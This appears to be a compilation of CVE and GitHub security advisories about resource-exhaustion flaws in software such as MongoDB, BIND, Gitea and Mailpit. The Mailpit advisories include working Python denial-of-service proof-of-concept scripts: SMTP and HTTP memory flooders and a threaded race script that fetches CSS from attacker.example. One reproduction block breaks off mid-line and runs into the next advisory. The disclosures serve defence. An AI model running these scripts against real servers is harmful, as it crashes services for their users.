Allocation of resources without limits or throttling vulnerability in BizimHesap Information Systems Industry and Trade Inc. Online Pre-Accounting Software allows Excessive Allocation.
This issue affects Online Pre-Accounting Software: through 17072026.
CVE-2026-14257 is a high-severity vulnerability in the juliangruber brace-expansion library (versions up to 5.0.7) that allows an attacker to cause uncontrolled memory consumption. The expand() function limits the number of results but not their length, enabling crafted inputs with many chained brace groups to exhaust memory and crash the Node.js process with an uncatchable out-of-memory error. This denial-of-service condition cannot be caught by try/catch and results in a fatal process termination. The vulnerability affects applications that pass attacker-controlled strings to brace-expansion.expand(), including via minimatch or glob patterns. A patch has been released that bounds the total output length to prevent unbounded memory growth.
CVE-2026-13074 is a medium-severity vulnerability in MongoDB Server that allows an unauthenticated remote client to cause excessive CPU consumption. This occurs by sending a specific combination of parameters to the awaitable hello command in exhaust mode, which triggers a response loop bypassing normal throttling. This can degrade server availability with only a small number of connections. No official patch or remediation guidance is currently available.
CVE-2026-13069 is a high-severity vulnerability in MongoDB Server where an authenticated user can trigger excessive CPU usage or out-of-memory conditions by sending a specially crafted Queryable Encryption find payload. This payload contains an unvalidated field that controls an internal computation loop, leading to resource exhaustion and degraded availability for other operations. The vulnerability affects multiple versions of MongoDB Server including 7.0, 8.0, 8.2.0, and 8.3.0. No official patch or remediation guidance is currently available from the vendor.
CVE-2026-13075 is a high-severity vulnerability in MongoDB Server versions 8.2.0 and 8.3.0. An authenticated user with the ability to run aggregation queries can cause the mongod process to be terminated by the operating system due to memory pressure triggered via the $rankFusion and $scoreFusion aggregation stages. The issue arises from the server's error-handling path and involves allocation of resources without limits or throttling.
CVE-2026-13076 is a high-severity vulnerability in MongoDB Server 8.3.0 where an authenticated user with write access can cause the mongod process to be terminated by the operating system due to excessive memory consumption. This occurs through a specific data type conversion operation within the aggregation framework, leading to resource exhaustion without limits or throttling.
A DNSSEC validating resolver that is under a random subdomain attack against a DNSSEC-signed zone can suffer from runaway memory usage. The attacker needs to be able to send queries faster than the resolver can perform validation. The increased memory usage can be orders of magnitude beyond the limit configured in the `max-cache-size` parameter.
This issue affects BIND 9 versions 9.11.0 through 9.18.50, 9.20.0 through 9.20.24, 9.21.0 through 9.21.23, 9.11.3-S1 through 9.18.50-S1, and 9.20.9-S1 through 9.20.24-S1.
Gitea versions prior to 1.27.0 contain a denial of service vulnerability in the NPM package tag API endpoint. The issue arises from an unbounded io.ReadAll call that reads the entire HTTP request body into memory without size limits. Authenticated users with write access to their package namespace can exploit this by sending a large request, causing the server process to crash due to out-of-memory conditions. This crash results in a persistent denial of service that can survive automatic restarts. The vulnerability has a moderate severity with a CVSS score of 6.5. A patch is available to address this issue.
Allocation of Resources Without Limits or Throttling (CWE-770) in Kibana can lead to a denial of service via Excessive Allocation (CAPEC-130). An authenticated user can submit a specially crafted request to affected Entity Analytics endpoints containing an oversized input value that causes excessive resource consumption, which may render Kibana unavailable.
A vulnerability in libssh allows a malicious SFTP server to send responses with unknown request IDs that libssh clients queue indefinitely, leading to unbounded memory growth and client-side denial of service. This flaw is identified as CVE-2026-59848 and has a CVSS v3.1 base score of 5.3 (medium severity). The issue affects libssh clients that interact with untrusted SFTP servers. Red Hat has released an update for libssh in their Hardened Images RPMs to address this vulnerability.
FreeScout is a free help desk and shared inbox built with PHP's Laravel framework. Prior to version 1.8.224, the FreeScout helpdesk application does not enforce rate limiting on the file upload endpoint. Any user can flood the server with upload requests, leading to database overload and potential denial of service for all users. Version 1.8.224 contains a fix.
CVE-2026-56170 is a medium-severity vulnerability in Microsoft .NET 10.0 and related Ubuntu-packaged .NET versions. It involves allocation of resources without limits or throttling in ASP.NET Core, which can allow an unauthorized attacker to cause a denial of service over a network. An official fix is available to address this issue.
### Summary
The fix for GHSA-fpxj-m5q8-fphw (CVE-2026-45710, "Mailpit: Set a default 50MB p/m limit to prevent DoS via unlimited SMTP DATA and /api/v1/send body sizes") wrapped only `POST /api/v1/send` with `http.MaxBytesReader`. The four other Mailpit JSON-body API endpoints `PUT /api/v1/messages` (SetReadStatus), `DELETE /api/v1/messages` (DeleteMessages), `PUT /api/v1/tags` (SetMessageTags), and `POST /api/v1/message/{id}/release` (ReleaseMessage) still call `json.NewDecoder(r.Body)` directly with no body-size cap and remain reachable unauthenticated in the default `docker run axllent/mailpit:latest` deploy. An unauthenticated remote attacker can post a multi-million-element `IDs` slice and drive RSS from ~25 MiB baseline to ~450 MiB per 16 MB request body. Repeating across multiple connections accumulates the same per-request amplification per process.
### Affected versions
- Mailpit at HEAD `67a7ca83ff759082d2b86dda07eb5bb3dad404e0` (v1.30.0, 2026-05-14).
- All versions `<= v1.30.0` (the release that shipped the GHSA-fpxj fix). Versions `< v1.30.0` are vulnerable to the original GHSA-fpxj on `/api/v1/send`; version `v1.30.0` carries the sibling-endpoint gap described here.
### Privilege required
None in default deploy (no `--ui-auth`, no `--smtp-auth`). The four endpoints share the same `middleWareFunc` wrapper as the original GHSA-fpxj target, so the same default-no-auth threat model applies. With `--ui-auth=user:pass` configured, the same primitive is post-auth — still useful since UI-auth Mailpit deployments commonly run on internal ops subnets where one stolen UI credential pivots into an RSS-exhaustion vector against the same host.
### The incomplete fix
Commit `136bdde` ("Security: Set a default 50MB p/m limit to prevent DoS via unlimited SMTP DATA and /api/v1/send body sizes (GHSA-fpxj-m5q8-fphw)", 2026-05-12) added the `MaxBytesReader` wrap in exactly one place:
```go
// server/apiv1/send.go:45-48
if config.MaxMessageSize > 0 {
r.Body = http.MaxBytesReader(w, r.Body, int64(config.MaxMessageSize)*1024*1024)
}
decoder := json.NewDecoder(r.Body)
```
The sibling JSON-body handlers were not updated. Side-by-side at HEAD `67a7ca8`:
| File | Function | `MaxBytesReader`? | Unauth in default deploy? |
|---|---|---|---|
| `server/apiv1/send.go:45-48` (`SendMessageHandler`) | POST `/api/v1/send` | YES (50 MB) | YES (via `sendAPIAuthMiddleware` falling back to `middleWareFunc`) |
| `server/apiv1/messages.go:107` (`SetReadStatus`) | PUT `/api/v1/messages` | NO | YES |
| `server/apiv1/messages.go:187` (`DeleteMessages`) | DELETE `/api/v1/messages` | NO | YES |
| `server/apiv1/tags.go:54` (`SetMessageTags`) | PUT `/api/v1/tags` | NO | YES |
| `server/apiv1/release.go:55` (`ReleaseMessage`) | POST `/api/v1/message/{id}/release` | NO | YES |
The four sibling handlers all share the shape:
```go
// server/apiv1/messages.go:107-115 (SetReadStatus)
decoder := json.NewDecoder(r.Body)
var data struct {
Read bool
IDs []string
Search string
}
err := decoder.Decode(&data)
```
No `MaxBytesReader`, no body-size cap, no `r.Header.Get("Content-Length")` check. The `json.NewDecoder` streams the body but each `"x"` element materialises as a separate Go `string` plus slice-header overhead, so the unmarshalled `[]string` slice for `IDs` grows roughly linearly with attacker payload size.
### Vulnerable code
`server/apiv1/messages.go:107`:
```go
func SetReadStatus(w http.ResponseWriter, r *http.Request) {
decoder := json.NewDecoder(r.Body)
var data struct {
Read bool
IDs []string
Search string
}
err := decoder.Decode(&data)
if err != nil {
httpError(w, err.Error())
return
}
// ...
```
Three other handlers (`DeleteMessages`, `SetMessageTags`, `ReleaseMessage`) match the same shape.
### Reachability chain (default deploy)
```
Listen() # config/config.go HTTPListen = "[::]:8025"
↓
HTTP server # server/server.go:177-186
↓
middleWareFunc(apiv1.SetReadStatus) # server/server.go:178 — auth bypassed when UICredentials == nil
↓
SetReadStatus # server/apiv1/messages.go:87
↓
json.NewDecoder(r.Body).Decode(&data) # no MaxBytesReader; allocates 4M Go strings + slice for {"IDs":["x",...]}
↓
RSS grows ~28x relative to payload size
```
`config/config.go`'s `MaxMessageSize` field (added by 136bdde) exists and is parsed from `--max-message-size` (default 50 MB), but it is checked only in `server/apiv1/send.go`. The four sibling handlers never consult it.
### Reproduction (E2E against `axllent/mailpit:latest` v1.30.0)
```bash
# 1) start mailpit with defaults (no --ui-auth, no --smtp-auth)
docker run --name mailpit-test -d -p 18025:8025 axllent/mailpit:latest
# 2) baseline RSS
docker stats mailpit-test --no-stream --format '{{.MemUsage}}'
# → 8.473MiB / 5.772GiB
# 3) trigger
python3 - <<'PY'
import socket
N = 4_00
### Summary
The Mailpit SMTP server has a Server.MaxSize int field that controls the maximum allowed DATA payload size, but the field is never assigned anywhere outside test code, leaving it at Go's zero value (0 ⇒ "no limit"). The same applies to the HTTP /api/v1/send endpoint, whose request body is decoded with json.NewDecoder(r.Body) and no http.MaxBytesReader. Because Mailpit's default listeners bind [::]:1025 (SMTP) and [::]:8025 (HTTP), with no authentication required on either, a single network-reachable attacker can push an arbitrarily large message into Mailpit and watch RAM consumption spike with a ~7-10× amplification factor (raw frame → enmime envelope tree → search-text index → zstd-encoded write to SQLite). Repeating the attack — or running it concurrently from multiple connections — drives the process to OOM-kill.
### Details
Pre-auth, remote DoS on every Mailpit deployment running the default configuration. Memory is the primary axis; disk is a secondary one, because each oversized message is also persisted to the SQLite store (config.MaxMessages caps the count at 500 but never the bytes — so 500 attacker-sized messages × 1 GiB each = ~500 GiB on the host disk before the LRU rotates).
Affected code
[internal/smtpd/smtpd.go:107](https://github.com/axllent/mailpit/blob/develop/internal/smtpd/smtpd.go#L107) — the field exists:
```
type Server struct {
...
MaxSize int // Maximum message size allowed, in bytes
...
}
```
[internal/smtpd/smtpd.go:863-877](https://github.com/axllent/mailpit/blob/develop/internal/smtpd/smtpd.go#L863-L877) — the enforcement is gated on > 0:
```
for {
...
line, err := s.br.ReadBytes('\n')
if err != nil {
return nil, err
}
if bytes.Equal(line, []byte(".\r\n")) {
break
}
if line[0] == '.' {
line = line[1:]
}
if s.srv.MaxSize > 0 { // ← only when set
if len(data)+len(line) > s.srv.MaxSize {
_, _ = s.br.Discard(s.br.Buffered())
return nil, maxSizeExceeded(s.srv.MaxSize)
}
}
data = append(data, line...) // ← otherwise grows unbounded
}
```
[internal/smtpd/main.go:223-248](https://github.com/axllent/mailpit/blob/develop/internal/smtpd/main.go#L223-L248) — the field is never populated; grep -rn "MaxSize" cmd/ config/ returns zero hits. There is no --smtp-max-message-size CLI flag, no MP_SMTP_MAX_MESSAGE_SIZE env var.
[server/apiv1/send.go:45-52](https://github.com/axllent/mailpit/blob/develop/server/apiv1/send.go#L45-L52) — HTTP path has the same defect:
```
decoder := json.NewDecoder(r.Body)
data := sendMessageParams{}
if err := decoder.Decode(&data.Body); err != nil {
httpJSONError(w, err.Error())
return
}
```
No r.Body = http.MaxBytesReader(w, r.Body, N) wrapper; server.ReadTimeout of 30 s is transmission-time, not body-size-budget.
### PoC
Baseline RSS on a freshly-started binary: 25 MiB. After one 100 MiB SMTP DATA block: ~1 037 MiB (≈10× amplification, single connection, no auth):
```
#!/usr/bin/env python3
# poc-smtp-dos.py
import socket, sys
host, port = sys.argv[1], int(sys.argv[2])
mb = int(sys.argv[3]) # message size, MiB
s = socket.create_connection((host, port), timeout=120)
def r(): return s.recv(4096).decode("latin-1", "replace").strip()
print(r())
for cmd in [b"HELO x\r\n",
b"MAIL FROM:<a@b.com>\r\n",
b"RCPT TO:<c@d.com>\r\n",
b"DATA\r\n"]:
s.sendall(cmd); print(r())
s.sendall(b"Subject: oversize\r\n\r\n")
chunk = b"X" * (1024 * 1024)
for _ in range(mb): s.sendall(chunk)
s.sendall(b"\r\n.\r\n")
print(r()); s.close()
```
```
$ python3 poc-smtp-dos.py 127.0.0.1 1025 100
220 hostname Mailpit ESMTP Service ready
250 hostname greets x
250 2.1.0 Ok
250 2.1.5 Ok
354 Start mail input; end with <CR><LF>.<CR><LF>
250 2.0.0 Ok: queued as 58rI69JTJYjVFwogEbw9Jj
$ ps -o rss= -p $(pgrep -f /usr/local/bin/mailpit)
1062848 # ≈ 1 037 MiB, up from 25 MiB baseline
```
Equivalent over HTTP:
```
# poc-http-dos.py
import socket, sys
host, port, mb = sys.argv[1], int(sys.argv[2]), int(sys.argv[3])
prefix = b'{"From":{"Email":"a@b.com"},"To":[{"Email":"c@d.com"}],"Subject":"big","Text":"'
suffix = b'"}'
N = mb * 1024 * 1024
clen = len(prefix) + N + len(suffix)
s = socket.create_connection((host, port), timeout=120)
s.sendall(
b"POST /api/v1/send HTTP/1.1\r\n"
b"Host: x\r\n"
b"Content-Type: application/json\r\n"
b"Content-Length: " + str(clen).encode() + b"\r\n"
b"Connection: close\r\n\r\n")
s.sendall(prefix)
chunk = b"X" * (1024 * 1024)
for _ in range(mb): s.sendall(chunk)
s.sendall(suffix)
print(s.recv(500).decode("latin-1", "replace"))
```
```
$ python3 poc-http-dos.py 127.0.0.1 8025 200
HTTP/1.1 200 OK
...
$ ps -o rss= -p $(pgrep -f /usr/local/bin/mailpit)
2147000 # comfortably above 2 GiB on the same process
```
Five concurrent SMTP connections × 50 MiB each took the same machine from 25 MiB
### Summary
The screenshot/print proxy (/proxy?data=…) maintains a package-level assets map[string]MessageAssets cache, but reads the map without holding assetsMutex while a long-running cleanup goroutine and (re-entrant) CSS-rewriting code path concurrently write to it under the lock. When the unsynchronized read coincides with a synchronized write, Go's runtime raises fatal error: concurrent map read and map write — a runtime.throw that is not recoverable by http.Server's handler-panic recover. The whole Mailpit process exits, taking the SMTP, POP3 and HTTP listeners down with it.
### Details
A remote, unauthenticated attacker who can (1) reach /proxy and (2) plant any message with a stylesheet link in the inbox can crash Mailpit by issuing concurrent /proxy?data=… requests against the same message's CSS URL. Mailpit's defaults make both prerequisites trivial: the SMTP listener accepts mail anonymously, the HTTP listener accepts requests anonymously, and the cleanup goroutine fires every minute regardless of whether the map is being read.
Affected code
[server/handlers/proxy.go:198-229](https://github.com/axllent/mailpit/blob/develop/server/handlers/proxy.go#L198-L229)
[server/handlers/proxy.go:52-66](https://github.com/axllent/mailpit/blob/develop/server/handlers/proxy.go#L52-L66)
[server/handlers/proxy.go:244-313](https://github.com/axllent/mailpit/blob/develop/server/handlers/proxy.go#L244-L313)
Go's map runtime sets a hashWriting flag at the start of any write op. Concurrent map reads check the flag and call throw("concurrent map read and map write") — throw is not caught by defer recover and is not caught by http.Server's handler-panic guard. The process exits with a stack trace.
### PoC
1. Deposit any message with a <link rel="stylesheet" href="https://attacker.example/big.css"> in the store (SMTP or /api/v1/send, both unauthenticated by default).
2. Make a few hundred concurrent requests to /proxy?data=base64(<id>:https://attacker.example/big.css) — the attacker's big.css should be ~50 MiB and contain thousands of url(...) entries so each request spends time iterating the rewriter loop and touching assets[id] repeatedly.
Skeleton (set --allow-internal-http-requests only if you're testing locally — internal IPs are blocked by safeDialContext in production, which is correct):
```
# proxy-race.py
import socket, threading, base64, sys
ID = sys.argv[1] # 22-char shortuuid
CSS = "https://attacker.example/big.css"
TOKEN = base64.b64encode(f"{ID}:{CSS}".encode()).decode()
req = (
f"GET /proxy?data={TOKEN} HTTP/1.1\r\n"
f"Host: target:8025\r\n"
f"Connection: close\r\n\r\n"
).encode()
def hit():
try:
s = socket.create_connection(("target", 8025), timeout=10)
s.sendall(req)
while s.recv(8192): pass
s.close()
except Exception: pass
for _ in range(50): # 50 rounds
ts = [threading.Thread(target=hit) for _ in range(300)]
for t in ts: t.start()
for t in ts: t.join()
```
When the unlocked read at line 216 happens during a delete() from the cleanup goroutine, or during another goroutine's assets[id] = result write, Go's runtime emits:
```
fatal error: concurrent map read and map write
goroutine 123 [running]:
runtime.throw(...)
github.com/axllent/mailpit/server/handlers.ProxyHandler(...)
server/handlers/proxy.go:216
...
```
…and the process exits. Building Mailpit with go build -race produces a deterministic WARNING: DATA RACE trace at the same line under the same workload, confirming the access pattern is racy even without timing-based crash demonstration.
### Impact
Unauthenticated remote attacker can trigger a concurrent map access crash in /proxy, causing a fatal runtime panic and full Mailpit process termination (DoS).
The kubernetes-dns-node-cache package version 1.26.8-r6 addresses two vulnerabilities including CVE-2026-50274. This vulnerability is classified under CWE-770 and affects versions prior to 1.26.8-r6, including versions less than or equal to 1.24.1 and less than 2.8.1. The issue has been assigned a high severity rating. A patch is available to remediate the vulnerability.
OpenTelemetry Rust is the Rust OpenTelemetry implementation. In 0.32.0 and earlier, BaggagePropagator::extract_with_context in opentelemetry_sdk did not enforce W3C Baggage size limits before parsing an inbound baggage header, so a large attacker-controlled header could cause unnecessary CPU work and short-lived heap allocations while parsing entries later discarded by the SDK's baggage storage limits. Services that accept untrusted inbound propagation headers may experience increased per-request resource usage when processing oversized baggage headers. This issue is fixed in version 0.32.1.
Sigstore Timestamp Authority is a service for issuing RFC 3161 timestamps. Prior to 2.1.0, the global wrapMetrics middleware records raw HTTP request path r.URL.Path and raw HTTP request method r.Method as Prometheus labels for latency and request count metric vectors before routing, allowing an unauthenticated remote attacker to issue requests with random paths such as /api/v1/timestamp/<uuid> or random HTTP methods and create unbounded permanent time-series entries that exhaust memory. This issue is fixed in version 2.1.0.
Symfony UX is a JavaScript ecosystem for Symfony. From 2.5.0 until 2.36.0 and 3.1.0, Symfony\UX\LiveComponent\Controller\BatchActionController::__invoke() iterates over the client-supplied actions array and issues a full HttpKernel sub-request for each entry; because the array size is never bounded, an authenticated client can submit a single _batch request containing thousands of actions and exhaust CPU, memory, and database connections on the application server. This issue is fixed in versions 2.36.0 and 3.1.0.